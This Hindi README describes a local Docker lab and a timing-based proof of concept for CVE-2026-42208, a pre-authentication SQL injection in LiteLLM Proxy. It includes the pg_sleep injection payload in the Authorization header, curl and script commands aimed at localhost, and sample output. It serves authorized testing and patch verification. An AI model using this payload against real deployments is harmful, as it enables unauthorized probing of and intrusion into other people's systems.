
स्थानीय Docker लैब और CVE-2026-42208 के लिए टाइमिंग-आधारित प्रूफ-ऑफ-कॉन्सेप्ट, जो LiteLLM Proxy में प्री-ऑथ SQL इंजेक्शन है, जो कमजोर बनाम पैच किए गए इंस्टेंस को प्रदर्शित करता है।
CVE-2026-42208 के लिए स्थानीय Docker लैब और न्यूनतम-हानि PoC, जो LiteLLM Proxy के API कुंजी सत्यापन पथ में एक प्री-ऑथेंटिकेशन SQL इंजेक्शन भेद्यता है।
यह रिपॉजिटरी एक असुरक्षित (vulnerable) LiteLLM इंस्टेंस और एक पैच किए गए (patched) LiteLLM इंस्टेंस के बीच अंतर को टाइमिंग-आधारित PostgreSQL pg_sleep() प्रमाण का उपयोग करके प्रदर्शित करती है।
दायरा: केवल स्थानीय लैब / अधिकृत परीक्षण। डिफ़ॉल्ट PoC डेटाबेस डेटा डंप नहीं करता है और डेटाबेस डेटा को संशोधित नहीं करता है।
CVE-2026-42208 LiteLLM Proxy संस्करण 1.81.16 से 1.83.7 से पहले के संस्करणों को प्रभावित करता है।
यह भेद्यता LiteLLM API एंडपॉइंट पर भेजे गए एक क्राफ्टेड Authorization: Bearer ... हेडर के माध्यम से ट्रिगर होती है। प्रभावित संस्करणों में, कॉलर-आपूर्ति किया गया टोकन API कुंजी सत्यापन के दौरान SQL क्वेरी पथ तक पहुंच सकता है।
यह लैब तुलना करती है:
| सेवा | संस्करण | URL | अपेक्षित परिणाम |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | विलंबित 401 प्रतिक्रिया |
patched | v1.83.7-stable | http://127.0.0.1:8082 | तेज़ 401 प्रतिक्रिया |
प्रमाण इसी तरह के पेलोड का उपयोग करता है:
' OR (SELECT pg_sleep(6)) IS NULL --
दोनों सेवाओं को HTTP 401 लौटाना चाहिए, लेकिन असुरक्षित इंस्टेंस को प्रतिक्रिया देने में लगभग 6 सेकंड लगने चाहिए जबकि पैच किए गए इंस्टेंस को जल्दी प्रतिक्रिया देनी चाहिए।
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> असुरक्षित LiteLLM -> PostgreSQL db-vuln
localhost:8082 -> पैच किया गया LiteLLM -> PostgreSQL db-patched
PostgreSQL सेवाएं आंतरिक Docker सेवाएं हैं और होस्ट के लिए एक्सपोज़ नहीं की गई हैं।
केवल LiteLLM HTTP पोर्ट एक्सपोज़ किए गए हैं:
| होस्ट पोर्ट | सेवा | कंटेनर पोर्ट |
|---|---|---|
8081 | असुरक्षित LiteLLM | 4000 |
8082 | पैच किया गया LiteLLM | 4000 |
docker compose up -d --build
सेवा स्थिति जांचें:
docker compose ps
अपेक्षित स्थिति:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
असुरक्षित इंस्टेंस का परीक्षण करें:
python3 poc/poc.py --url http://127.0.0.1:8081
पैच किए गए इंस्टेंस का परीक्षण करें:
python3 poc/poc.py --url http://127.0.0.1:8082
--url लक्ष्य आधार URL
--path परीक्षण करने के लिए API पथ। डिफ़ॉल्ट: /v1/chat/completions
--sleep pg_sleep() के लिए सेकंड। डिफ़ॉल्ट: 6
--rounds प्रोब राउंड की संख्या। डिफ़ॉल्ट: 2
उदाहरण:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
असुरक्षित इंस्टेंस:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
पैच किया गया इंस्टेंस:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
इस लैब से उदाहरण परिणाम:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
महत्वपूर्ण अवलोकन यह है कि दोनों सेवाएं 401 लौटाती हैं, लेकिन केवल असुरक्षित सेवा लगभग pg_sleep() अवधि के लिए विलंब करती है।
यह रिपॉजिटरी टाइमिंग प्रमाण का उपयोग करती है क्योंकि यह डेटा निकालने से अधिक सुरक्षित है।
PoC यह साबित करता है कि इंजेक्ट किया गया SQL एक्सप्रेशन प्रतिक्रिया विलंब का अवलोकन करके मूल्यांकित किया जा रहा है। यह डेटाबेस पंक्तियों को डंप करने, API कुंजी निकालने, रिकॉर्ड संशोधित करने या प्रमाणीकरण को बायपास करने का प्रयास नहीं करता है।
असुरक्षित सेवा:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
पैच की गई सेवा:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
अपेक्षित व्यवहार:
vulnerable -> लगभग 6 सेकंड
patched -> लगभग तुरंत प्रतिक्रिया
docker compose down -v
यह कंटेनर, नेटवर्क और PostgreSQL वॉल्यूम हटा देता है।
यह लैब केवल स्थानीय और अधिकृत परीक्षण के लिए है।
PoC को उन सिस्टमों के खिलाफ न चलाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है।
इस लैब में वास्तविक प्रदाता API कुंजी या उत्पादन LiteLLM क्रेडेंशियल का उपयोग न करें।
डिफ़ॉल्ट PoC विनाशकारी व्यवहार से बचता है और डेटाबेस सामग्री नहीं निकालता है।